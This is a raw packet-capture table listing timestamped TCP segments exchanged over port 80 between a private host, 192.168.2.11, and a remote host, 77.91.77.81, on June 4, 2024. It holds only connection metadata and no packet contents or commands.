Jun 4, 2024 23:09:16.424525023 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.424532890 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.424536943 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.424546957 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.424549103 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.424560070 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.424561977 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.424572945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.424576998 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.424585104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.424597025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.424598932 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.424608946 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.424613953 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.424622059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.424637079 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.424640894 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.424652100 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.424653053 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.424664021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.424674034 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.424676895 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.424686909 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.424698114 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.424700022 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.424721956 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.424736977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.428234100 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.577550888 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.577573061 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.577594042 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.577606916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.577616930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.577630043 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.577665091 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.577723026 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.578562021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.578746080 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.578766108 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.578778982 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.578789949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.578794956 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.578804016 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.578816891 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.578819036 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.578830004 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.578838110 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.578841925 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.578856945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.578869104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.578871965 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.578883886 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.578903913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.578908920 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.578917980 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.578927994 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.578929901 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.578944921 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.578957081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.578959942 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.578969955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.578982115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.578986883 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.578994036 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579005957 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579015017 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579024076 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579030037 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579049110 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579051971 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579062939 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579075098 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579077959 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579088926 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579101086 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579107046 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579116106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579128981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579139948 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579142094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579154015 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579159021 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579168081 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579180002 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579185009 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579197884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579211950 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579217911 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579230070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579230070 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579242945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579256058 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579262018 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579268932 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579281092 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579282045 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579294920 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579303026 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579308033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579319000 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579323053 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579330921 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579341888 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579351902 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579355001 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579375029 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579382896 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579391003 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579401016 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579404116 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579415083 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579427958 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579428911 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579440117 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579452038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579456091 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579466105 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579471111 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579478025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579492092 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579502106 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579504013 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579515934 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579529047 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579531908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579549074 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579555035 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579566956 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579575062 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579579115 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579591036 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579602957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579605103 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579615116 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579624891 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579628944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579639912 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579643965 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579652071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579663038 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579668999 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579675913 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579688072 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579699039 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579699993 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579714060 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579719067 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579730988 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579742908 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579742908 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579756021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579768896 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579772949 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579782009 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579787970 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579794884 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579807997 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579809904 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579821110 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579832077 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579837084 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579844952 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579859018 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579866886 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579879045 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579891920 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579894066 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579905033 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579916954 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579924107 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579931021 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579942942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579948902 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579956055 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579968929 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579977036 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.579982042 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579994917 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.579996109 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580008030 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580019951 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580022097 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580039978 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580049038 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580053091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580065012 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580066919 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580080032 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580091953 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580094099 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580105066 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580116034 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580121994 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580130100 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580141068 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580141068 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580153942 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580157995 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580166101 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580177069 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580183983 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580192089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580204964 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580213070 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580223083 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580229998 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580243111 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580255985 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580257893 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580269098 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580282927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580284119 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580296040 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580307961 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580316067 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580322027 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580338955 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580343962 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580363989 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580364943 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580378056 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580390930 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580394983 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580403090 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580410004 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580415010 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580427885 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580434084 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580439091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580450058 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580461025 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580465078 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580473900 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580493927 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580497026 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580511093 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580513954 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580530882 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580543041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580545902 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580555916 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580566883 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580569983 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580583096 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580596924 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580598116 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580610037 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580626011 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580627918 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580636978 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580646992 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580650091 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580662966 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580677032 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580683947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580703974 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580708027 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580717087 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580728054 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580730915 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580744028 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580756903 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580758095 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580770969 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580782890 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580786943 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580796003 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580804110 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580810070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580822945 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580835104 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580845118 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580866098 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580868006 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580879927 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580885887 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580894947 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580908060 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580919027 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580919981 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580933094 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580936909 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580945969 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580959082 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580965996 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580972910 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580985069 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.580986977 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.580997944 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581006050 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581020117 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581037045 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581039906 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581053019 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581063986 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581065893 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581082106 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581093073 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581095934 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581109047 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581121922 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581123114 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581140041 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581141949 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581151962 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581171989 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581175089 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581196070 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581201077 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581207991 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581221104 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581222057 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581232071 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581244946 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581252098 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581258059 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581270933 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581284046 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581284046 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581296921 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581300974 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581310034 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581330061 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581335068 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581352949 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581361055 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581366062 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581378937 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581391096 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581393957 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581408024 CEST	80	49713	77.91.77.81	192.168.2.11
Jun 4, 2024 23:09:16.581418991 CEST	49713	80	192.168.2.11	77.91.77.81
Jun 4, 2024 23:09:16.581422091 CEST	80	49713	77.91.77.81	192.168.2.11
